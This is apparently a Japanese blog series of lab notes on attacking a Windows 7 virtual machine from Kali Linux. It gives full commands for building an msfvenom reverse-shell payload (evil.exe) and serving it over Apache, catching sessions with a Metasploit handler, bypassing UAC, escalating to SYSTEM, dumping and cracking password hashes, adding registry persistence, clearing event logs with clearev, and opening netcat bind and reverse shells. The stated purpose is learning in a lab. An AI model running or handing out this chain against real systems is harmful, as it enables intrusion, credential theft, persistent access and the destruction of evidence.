Windows10 仮想マシン構築

Windows10 仮想マシン構築

https://www.microsoft.com/ja-jp/software-download/windows10ISO
から
Windows10 のISOファイルをダウンロード

Windows 以外のOSでアクセスすると
ISOファイルのダウンロード画面になる

エディションの選択では
セキュリティの実験に使うので
Windows10 October 2018 Update
を選択

これで確認をクリックすると
言語選択になるので

日本語を選択し

次の画面で
64-bit ダウンロードをクリック

ダウンロードができたら
VirtualBox を起動し
新規をクリック

名前を Windows10 など任意の名前にして次へをクリック

メモリ設定はデフォルトのまま2GBでOK

次に仮想HDD関連関連で
デフォルトの
仮想ハードディスクを作成するのままでOK

ファイルタイプも
デフォルトのVDIのままでOK

ストレージタイプは
可変サイズでOK

ファイルサイズと場所もデフォルトのままでOK
ちなみにデフォルトのサイズは50GB

これで作成をクリックすれば
空の状態の仮想マシンが作成される

Windows7 ログ削除

Windows7 ログ削除

Windows システムログは
イベントログとして記録され
これは
イベントビューアで確認できる

WIndows で確認するには
スタートメニューで
eventvwr.msc
とすれば
Event Viewwer が起動しログの確認ができる

主なイベントログは
Application
アプリやプログラムが記録する情報
エラーなどが該当

Security
Windows 椅子sテムが記録する情報
特定ファイルの読み取り失敗とか
ログオンの成否などなど

System
標準サービスの記録情報
デバイスドライバ
OSブートなどなど

これらを削除するには
KaliLinux 側で SYSTEM権限で
clearev コマンドを使うことで削除が可能になる

すでにバックドア設置済みな場合

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でペイロードが実行され、待受状態になってから
50秒後にセッションが接続される

ただし、この状態ではSYSTEM権限ではないし
そのままでは権限昇格もできない

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

これで権限を得たので

clearev 

を実行するとイベントログが消去される

Windows7 バックドア設置

Windows7 バックドア設置

evil.exe を実行したときのみセッションが確率されるが
通常は何度も実行することはないので
バックドアを設置する

これはWindows7 起動時に自動でペイロードを実行するように
設定をする

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

セッションが閉じるたびに Windows 側で evil.exe を実行しないと
この手順の繰り返しになるので
Windows 7 起動時に自動でペイロードを実行するようにする

これは
run persistence コマンドを使う

オプションについては

run persistence -h

で確認できる

今回は

run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.1.134

で実行

-X でシステム起動時に自動開始
-i は接続を開始するタイミングを秒で指定
-P でペイロードの指定
-p でポート指定
-r でペイロードを実行する対象のIPアドレス
となる

つまり
今回なら
60秒間隔で
ペイロードを
4444 番ポートで
192.168.1.134 のマシンへ実行
となる

なお、Windows 7 への変更点については
Sysinternals で確認できる

Sysinternal Suites フォルダの中にある
Autoruns.exe
で起動

File > Compare で
最初に作成したarm ファイルを選択

すると
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
のところにキーが追加されているのがわかる

ここに追加された値は
c:\users\ieuser\appdata\local\temp\nhvpfroywzr.vbs
に設定されている

この状態でWindows 7 を再起動しておき

KaliLinux でリバースシェル環境を再び設定する

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.134
exploit

を実行

すると、今回からは Windows7 で evil.exe を実行せずとも
セッションが確率されるのがわかる

Windows7 システム情報の収集

Windows7 システム情報の収集

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

必要なセッションは2のほうなので
不要なセッション1はとじる

background 

というように
background コマンドを使い

sessions -i

とすると
2つめのセッションのほうが管理者権限であることが確認できる

セッションを閉じるには
sessions コマンドの -kオプションを使う

sessions -k 1

これで

sessions -i

とすると
セッション2だけ残っているのがわかる

不要なセッションは削除したので

sessions 2

で再びセッションに戻し

run scraper 

でシステム情報を収集する

これには
レジストリ
パスワードハッシュなどが含まれるため時間がかかる

なお、実行結果は

.msf4/logs/scripts/scraper/

の下へダウンロードされ保存される

保存されるフォルダ名は
IPアドレス_日付_数値列
となる

パスワードハッシュの解析

パスワードハッシュの解析

KaliLinux にインストールされている
John the Ripper を使い辞書攻撃でパスワードを解析

今回は
John the Ripper 付属のパスワードファイルを使う

john --wordlist=/usr/share/john/password.lst --format:nt
 hash.txt 

しかし、これだけの情報だとパスワード解析に成功したアカウントはない

なお、解析結果については

john hash.txt --show

というように –show オプションをつけることで表示できる

次に John the Ripper の辞書ファイルへ追加してから解析をする

cp /usr/share/john/password.lst password.lst

で辞書ファイルをコピー

echo "Passw0rd!" >> password.lst 

で Passw0rd! を末尾に追記

john --wordlist=password.lst --format:nt hash.txt 

として使用するファイルを
password.lst に変更し再度実行すると

Passw0rd!        (Administrator)

の部分から
Administrator ユーザパスワードがPassw0rd!
であることがわかる

また
Kali LinuxでJohn The Ripper,hydraによるパスワード解析

では
hydra による解析も掲載されているので
こちらも参考に

Windows7 パスワードハッシュ入手

Windows7 パスワードハッシュ入手

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

これで Meterpreter セッションが確率される

この状態からパスワードハッシュを入手しようとしても
ユーザ権限が低いためエラーとなる

このため

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

接続中のMeterpreter セッションの確認には

sessions -i

で確認できる

このときに Id をみておくことで

sessions -i セッションID

とすれば
Meterpreter セッションに戻すことができる

今回なら

sessions -i 1

とすれば
Meterpreter セッションに戻すことができる

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

これで

getuid 

で現状のユーザIDを確認

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

あとはパスワードハッシュをダンプ

run hashdump 

実行結果をテキストファイルへ保存

今回は hash.txt というファイルへ保存

Metasploit Flamework その2

Metasploit Flamework その2

前回ペイロード作成までしたので続き

Windows7でIEを起動

http://KaLiLinux のIPアドレス/share にアクセス

今回なら
http://192.168.1.134/share/
へアクセス

すると evil.exe が表示されている

これが確認できたら
KaliLinux でリバースシェルの準備

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になる

これで KaliLinux の準備ができたので
次に Windows でファイルをダウンロードし
Run を実行

すると Windows 側では何もおきていないように見えるけど
KaliLinux 側では
meterpreter セッションが確率されたことが
Terminal で表示される

なお Windows 側でも

netstat -n | find "ESTABLISHED"

を Command Prompt で実行することで確認できる

これでwindows の遠隔操作が可能になる
操作に使っているのは
Meterpreter なので
Windows7 の Command Prompt ではないので注意

Metasploit Flamework

Metasploit Flamework

KaliLinux には 
Metasploit がインストールされているので

msfconsole 

を実行すると
msf コンソールが起動して利用することができる

msf5 > 

となっていれば起動成功

この状態で

banner 

と入力するとランダムでアスキーアートが表示される

show -h

でヘルプの表示

show exploits 

で Metasploit で使用できる Exploit が表示される

Metasploit に含まれるモジュールを実行するにはパスが必要

これには seach コマンドでパスの検索ができる

Windows 向け
TPC リバースシェル
ペイロード
という条件で探すなら

search type:payload reverse_tcp platform:windows

というようになる

次にペイロードの作成

これは
msfvenom コマンドを使う

このコマンドのオプションについては
https://ko-tech.net/hack/metasploit.html
を参考に

今回使用したオプションは
p ペイロードのパス
f 出力ファイル形式
o 出力ファイルパス
LHOST 接続先のIPアドレス

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil.exe

を実行すると
デスクトップに eveil.exe が作成される

つぎに
Windows からブラウザでこのペイロードにアクセスできるようにする

別の Terminal を ctrl + alt + t で開き

cd /var/www/html/
mkdir share
cp /root/Desktop/evil.exe share/
chmod -R 755 share/


share ディレクトリを作成し、ここへ evil.exe をコピーし
アクセス権限を変更

service apache2 restart 

でwebサーバーを再起動

Netcat 接続実験 その2

Netcat 接続実験 その2

Wndows7 と KaliLinux でリバースシェルの実験

KaliLinux で
ctrl + Alt +t で端末を起動

nc -lvp 5555


Netcat を待受状態で起動

また、別の端末を起動し

ifconfig

でIPアドレスを調べておく
inet と書かれている部分がIPアドレス

次に Windows7 で Command Prompt を起動し

cd C:Work
nc.exe 192.168.1.134 5555 -e cmd.exe

で nc で KaliLinux へ接続

すると KaliLinux 側の端末に Windows 7 のCommand Prompt が
表示される

これで

ipconfig

を実行すると Windows 7 のIPアドレスが表示される

なお、Windows7 側のCommand Prompt なので
他のコマンドなども使うことができる

接続終了するには
KaliLinux 側で exit を実行すればOK

Netcat 接続実験

Netcat 接続実験

Windows 7 試用版で
Command Prompt を開き

cd C:Work
nc.exe -lvp 5555

で netcat を起動

これに kaliLinux で接続できるか実験

本来はホストオンリーアダプタなどで実験するけど
設定がうまくできなかったので
ブリッジ接続で実験

IPは変動するので
Windows 側は

ipconfig 

でIPアドレスを把握

IPv4 Address の部分がIPアドレスになる
今回は
192.168.1.174

次に VirtualBox で KaliLinux を起動

ctrl + Alt + t で端末を起動し

nc 192.168.1.174 5555

で接続

すると
Windows 7 側で

netstat -an

を実行すると
5555ポートが ESTABLISHED になっていればOK

この状態で KaliLinux で hello と入力すると
Windows 側でも hello と表示される

また Windows 側で入力した
windows というメッセージも KaliLinux 側で表示される

なお Netcat を終了するには
ctrl + c でどちらかが接続を停止すると終了する

これを利用すれば
KaliLinux 側から
Windows の Command Prompt を操作することが可能

この実験をするために
Windows で Netcat をサーバとして起動させる
これには
-e オプションを使う

-e オプションで実行するプログラムを指定する

nc.exe -lvp 5555 -e cmd.exe

今回は Windows のシェルの cmd.exe を実行

これで KaliLinux で

nc 192.168.1.174 5555

で接続すると
Windows の Command Prompt が操作できるようになる

試しに Windows のファイル一覧を表示する dir コマンドを実行

すると現在のディレクトリの
Windowsのファイル一覧を表示することができる

なお終了するときには
KaliLinux 側で

exit 

を実行すればOK

なお、windows 側では
前回と異なり操作している状態が表示されない

この手法がバインドシェル
ただし、これだとファイアーウォールやルーターの影響を受ける

理由は外部から内部へのアクセスを制限しているため